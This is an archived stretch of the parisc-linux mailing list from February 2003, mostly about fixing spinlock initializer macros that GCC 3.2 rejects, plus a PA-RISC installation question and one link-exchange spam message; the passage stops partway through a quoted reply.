	id 18oQSf-0003bX-00; Thu, 27 Feb 2003 17:00:41 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 27 Feb 2003 17:00:17 +0100
In-Reply-To: <200302261858.h1QIwvSJ019646@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17810

>-- Original Message --
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>To: jsoe0708@tiscali.be (Joel Soete)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: willy@debian.org, parisc-linux@parisc-linux.org
>Date: Wed, 26 Feb 2003 13:58:57 -0500 (EST)
>
>
>> Would I have to open a bug report near gcc with this one?
>
>You mean for the errors:
>
>joel.c:19: error: initializer element is not constant
>joel.c:19: error: (near initialization for `MyRWLock')
>joel.c:19: error: initializer element is not constant
>
>No, fix the code.  I don't believe you will win this one.  This
>feature (extension) was deliberately removed from GCC.
>
Well I first choose the facility:

I remove the cast so that in asm-parisc/spinclok_t.h
...
#ifndef CONFIG_DEBUG_SPINLOCK
#define SPIN_LOCK_UNLOCKED { 1 }
...
#else

#define SPIN_LOCK_UNLOCKED { 1, 0L, 0L }
...

but it breacks many code else where fork.c, raid1.c, raid5.c,...
where it is easy to recast.

Any better idea?

Joel
 

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Thu, 27 Feb 2003 11:59:17 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200302271659.h1RGxHtF021557__18363.0713531331$1416622247$gmane$org@hiauly1.hia.nrc.ca>
References: <3E5BA291000009D9@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622247 22452 80.91.229.3 (22 Nov 2014 02:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:47 +0000 (UTC)
Cc: schwab@suse.de, willy@debian.org, parisc-linux@parisc-linux.org,
	gcc@gcc.gnu.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 27 09:59:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2AE84842
	for <parisc-linux@parisc-linux.org>; Thu, 27 Feb 2003 09:59:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1RGxIlk021559;
	Thu, 27 Feb 2003 11:59:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1RGxHtF021557;
	Thu, 27 Feb 2003 11:59:17 -0500 (EST)
In-Reply-To: <3E5BA291000009D9@ocpmta3.freegates.net> from "Joel Soete" at Feb 27, 2003 07:36:56 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17811

> Never the less, I would like to put an additional question:
> the mentionned error occurs when this variable is a global one
> but when it became local (e.g. when I define it into main() ) the error doesn't
> occur anynore (I do not presume of the resulting code).
> So what is the conceptual difference?

If you look at the assembly code, you will see that the initialization
is done entirely in code when RW_LOCK_UNLOCKED is used to initialize
a local.  You can handle more complex initializers when you use code
to initialize an object.  When global or static storage is initialized,
the initialized values are placed directly into a data section.  C++
has constructors to do more complex initializations but this isn't
present in standard C.

The reason as to why GCC can't handle your example when it could before
has to do with the alignment of GCC to ISO C.  Constraint "3" in the
standard states that "If the compound literal occurs outside the body
of a function, the initializer list shall consist of constant expressions."
Also, as Andreas said, "the value of a compound literal is that of an
unnamed object initialized by the initializer list".  You would get
the same error trying to do an initialization using a named object:

  struct a { int i; } a = { 1 };
  struct b { struct a x; } b = { a };

I think you want to avoid using compound literals for you particular
initialization.  You don't need the capability of compound literals
to initialize an object type or an array of unknown size, or that
each compound literal creates only a single object in a given scope
(this is useful if the initializer values aren't constant).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Thu, 27 Feb 2003 12:17:18 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200302271717.h1RHHJM1021638@hiauly1.hia.nrc.ca>
References: <3E5BA29100000DEB@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622247 22454 80.91.229.3 (22 Nov 2014 02:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:47 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 27 10:17:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD99D4842
	for <parisc-linux@parisc-linux.org>; Thu, 27 Feb 2003 10:17:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h1RHHKlk021640;
	Thu, 27 Feb 2003 12:17:20 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h1RHHJM1021638;
	Thu, 27 Feb 2003 12:17:19 -0500 (EST)
In-Reply-To: <3E5BA29100000DEB@ocpmta3.freegates.net> from "Joel Soete" at Feb 27, 2003 05:00:17 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17812

> I remove the cast so that in asm-parisc/spinclok_t.h
> ...
> #ifndef CONFIG_DEBUG_SPINLOCK
> #define SPIN_LOCK_UNLOCKED { 1 }
> ...
> #else
> 
> #define SPIN_LOCK_UNLOCKED { 1, 0L, 0L }

You probably don't need the 0's.  When there a fewer initializers in a brace
enclosed list than there are elements or members of an aggregate, they are
implicitly initialized the same as objects that have static storage duration.

> but it breacks many code else where fork.c, raid1.c, raid5.c,...
> where it is easy to recast.

Glibc linuxthreads defines two initializers in the pthread code, one
using compound literals and the other using standard initializer lists.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Thu, 27 Feb 2003 19:37:55 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <3E5BA29100000EB6@ocpmta3.freegates.net>
References: <200302271717.h1RHHJM1021638@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622247 22456 80.91.229.3 (22 Nov 2014 02:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:47 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 27 11:38:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7AE84842
	for <parisc-linux@parisc-linux.org>; Thu, 27 Feb 2003 11:38:08 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18oSuv-00063F-00; Thu, 27 Feb 2003 19:38:01 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 27 Feb 2003 19:37:55 +0100
In-Reply-To: <200302271717.h1RHHJM1021638@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17813

>-- Original Message --
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>To: jsoe0708@tiscali.be (Joel Soete)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: willy@debian.org, parisc-linux@parisc-linux.org
>Date: Thu, 27 Feb 2003 12:17:18 -0500 (EST)
>
>
>> I remove the cast so that in asm-parisc/spinclok_t.h
>> ...
>> #ifndef CONFIG_DEBUG_SPINLOCK
>> #define SPIN_LOCK_UNLOCKED { 1 }
>> ...
>> #else
>> 
>> #define SPIN_LOCK_UNLOCKED { 1, 0L, 0L }
>
>You probably don't need the 0's.  When there a fewer initializers in a brace
>enclosed list than there are elements or members of an aggregate, they are
>implicitly initialized the same as objects that have static storage duration.
>
>> but it breacks many code else where fork.c, raid1.c, raid5.c,...
>> where it is easy to recast.
>
>Glibc linuxthreads defines two initializers in the pthread code, one
>using compound literals and the other using standard initializer lists.
>
I will have a look (it will just have to wait two weeks because of Sun course
about 6800)

Thanks a lot,
    Joel

>Dave
>-- 
>J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
>National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: " " <links@highimpactsites.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Our site and parisc-linux.org
Date: Thu, 27 Feb 2003 16:11:28 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <200302271613673.SM00972@ws-1>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622247 22462 80.91.229.3 (22 Nov 2014 02:10:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:47 +0000 (UTC)
To: "Parisc Linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 27 14:15:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.highimpactsites.com (unknown [207.61.233.163])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68B664842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Feb 2003 14:15:05 -0700 (MST)
Original-Received: from ws-1 [24.102.60.61] by mail.highimpactsites.com with ESMTP
  (SMTPD32-7.14) id AF6FD23029C; Thu, 27 Feb 2003 16:13:19 -0500
X-Priority: 3
X-Library: Indy 9.00.10
X-Mailer: Eudora(R) compatible
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17814

I'm the webmaster of an internet security at http://www.
highimpactsecurity.com. I have spent timeless hours compiling quality 
links to other interesting resources on the Internet, and added them to 
our links page. I came across your site and felt that it would 
perfectly fit in our collection of links.
 
I've already placed a link to your web site along with a description at 
http://www.highimpactsecurity.com/Hackers.htm. 
 
I sincerely hope that this link will increase traffic to your website.
 
I'd appreciate if you could place a link back to my site, on your links 
page, using the following link and description:
 
http://www.highimpactsecurity.com
 
Get internet security you want from here.
 
In return for your reciprocal link, I will place your link at, or near 
the top of your category page.
 
If you'd like the description of your site modified or if you have any 
other cross-promotion ideas just drop me a line.
 
Best regards from highimpactsecurity.com,
 
Randy


From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: question about pa-risc linux on hp b2600 workstation
Date: Fri, 28 Feb 2003 00:51:01 +0100
Organization: ESIEE
Lines: 35
Approved: news@gmane.org
Message-ID: <20030228005101.5cd3516f.varenet@esiee.fr>
References: <00A4E35DD053BF42A83513384737721604283772@noaadc-mxu12.noa.alcoa.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622248 22466 80.91.229.3 (22 Nov 2014 02:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Copeland, Daniel" <Daniel.Copeland@alcoa.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 27 16:51:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EA964842
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Feb 2003 16:51:03 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030227235101.XWFC20385.viefep15-int.chello.at@Bibou>;
          Fri, 28 Feb 2003 00:51:01 +0100
In-Reply-To: <00A4E35DD053BF42A83513384737721604283772@noaadc-mxu12.noa.alcoa.com>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17815

On Thu, 27 Feb 2003 10:40:42 -0500
"Copeland, Daniel" <Daniel.Copeland@alcoa.com> wrote:

> Hello,
> 
> Did you have to get special usb drivers to be able to install?  I downloaded
> the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/ my
> keyboard...

perhaps you should read the section related to b2600 on this page:
http://pateam.esiee.fr/list.html

the mailing-list archive:
http://www.fr.parisc-linux.org/mailing-lists/

eventually the FAQ (there's an entry about USB keyboards)
http://www.fr.parisc-linux.org/faq/

and the Boot HOWTO
http://pateam.esiee.fr/doc.html

everything is explained there.

you need one of the latest netinst isos to install your box:
http://pateam.esiee.fr/download.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

(mail CC'd to the m-l to feed the archive)


From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Fri, 28 Feb 2003 14:56:55 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <3E5A232800001242@ocpmta8.freegates.net>
References: <200302271717.h1RHHJM1021638@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622248 22470 80.91.229.3 (22 Nov 2014 02:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:48 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 06:57:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2844C4842
	for <parisc-linux@parisc-linux.org>; Fri, 28 Feb 2003 06:57:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ol0T-0000ps-00; Fri, 28 Feb 2003 14:56:57 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 28 Feb 2003 14:56:55 +0100
In-Reply-To: <200302271717.h1RHHJM1021638@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17816

Hi all,


>-- Original Message --
>Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
>To: jsoe0708@tiscali.be (Joel Soete)
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: willy@debian.org, parisc-linux@parisc-linux.org
>Date: Thu, 27 Feb 2003 12:17:18 -0500 (EST)
>
>
>> I remove the cast so that in asm-parisc/spinclok_t.h
>> ...
>> #ifndef CONFIG_DEBUG_SPINLOCK
>> #define SPIN_LOCK_UNLOCKED { 1 }
>> ...
>> #else
>> 
>> #define SPIN_LOCK_UNLOCKED { 1, 0L, 0L }
>
>You probably don't need the 0's.  When there a fewer initializers in a brace
>enclosed list than there are elements or members of an aggregate, they are
>implicitly initialized the same as objects that have static storage duration.
>
>> but it breacks many code else where fork.c, raid1.c, raid5.c,...
>> where it is easy to recast.
>
>Glibc linuxthreads defines two initializers in the pthread code, one
>using compound literals and the other using standard initializer lists.
>
Sorry Dave I do not find this stuff.

Any way after some sleep, I find this kind patches:

--- include/asm-parisc/spinlock_t.h.orig	2003-02-28 09:12:26.000000000 +0100
+++ include/asm-parisc/spinlock_t.h	2003-02-28 12:51:37.000000000 +0100
@@ -47,7 +47,9 @@
 } spinlock_t;
 
 #ifndef CONFIG_DEBUG_SPINLOCK
-#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1 }
+/* This following change because of gcc-3.2 limits for C99 compliance */
+#define C_SPIN_LOCK_UNLOCKED { 1 }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) C_SPIN_LOCK_UNLOCKED
 
 /* Define 6 spinlock primitives that don't depend on anything else. */
 
@@ -79,7 +81,9 @@
 
 #else
 
-#define SPIN_LOCK_UNLOCKED (spinlock_t) { 1, 0, 0 }
+/* This following change because of gcc-3.2 limits for C99 compliance */
+#define C_SPIN_LOCK_UNLOCKED { 1, 0L, 0L }
+#define SPIN_LOCK_UNLOCKED (spinlock_t) C_SPIN_LOCK_UNLOCKED
 
 /* Define 6 spinlock primitives that don't depend on anything else. */
--- include/asm-parisc/spinlock.h.orig	2003-02-19 18:05:55.000000000 +0100
+++ include/asm-parisc/spinlock.h	2003-02-28 09:45:10.000000000 +0100
@@ -14,7 +14,7 @@
 	volatile int counter;
 } rwlock_t;
 
-#define RW_LOCK_UNLOCKED (rwlock_t) { SPIN_LOCK_UNLOCKED, 0 }
+#define RW_LOCK_UNLOCKED (rwlock_t) { C_SPIN_LOCK_UNLOCKED, 0 }
 
 #define rwlock_init(lp)	do { *(lp) = RW_LOCK_UNLOCKED; } while (0)

Well I prefer to save "{ 1, 0L, 0L }" because I am never sure about what
is (how) and what is not initialised in C.

I test it on gcc-3.2 64bits and I obtain a a kernel (I will try to boot it
latter).

Any better idea?

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Copeland, Daniel" <Daniel.Copeland@alcoa.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: question about pa-risc linux on hp b2600 workstation
Date: Fri, 28 Feb 2003 10:21:07 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <00A4E35DD053BF42A83513384737721604283785@noaadc-mxu12.noa.alcoa.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622248 22473 80.91.229.3 (22 Nov 2014 02:10:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Thibaut VARENE' <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 08:21:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from NOAADC-MSW03.NOA.Alcoa.com (noaadc-msw03.noa.alcoa.com [147.154.9.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B45D4842
	for <parisc-linux@lists.parisc-linux.org>; Fri, 28 Feb 2003 08:21:12 -0700 (MST)
Original-Received: from NOAADC-MXI02.NOA.Alcoa.com (unverified) by NOAADC-MSW03.NOA.Alcoa.com
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T60b05bdd39939a09dc9a4@NOAADC-MSW03.NOA.Alcoa.com>;
 Fri, 28 Feb 2003 10:21:10 -0500
Original-Received: by noaadc-mxi02.noa.alcoa.com with Internet Mail Service (5.5.2653.19)
	id <FVG37JBR>; Fri, 28 Feb 2003 10:21:10 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17817

Thanks.  The latest netinst iso worked...

-----Original Message-----
From: Thibaut VARENE [mailto:varenet@esiee.fr]
Sent: Thursday, February 27, 2003 6:51 PM
To: Copeland, Daniel
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: question about pa-risc linux on hp b2600 workstation


On Thu, 27 Feb 2003 10:40:42 -0500
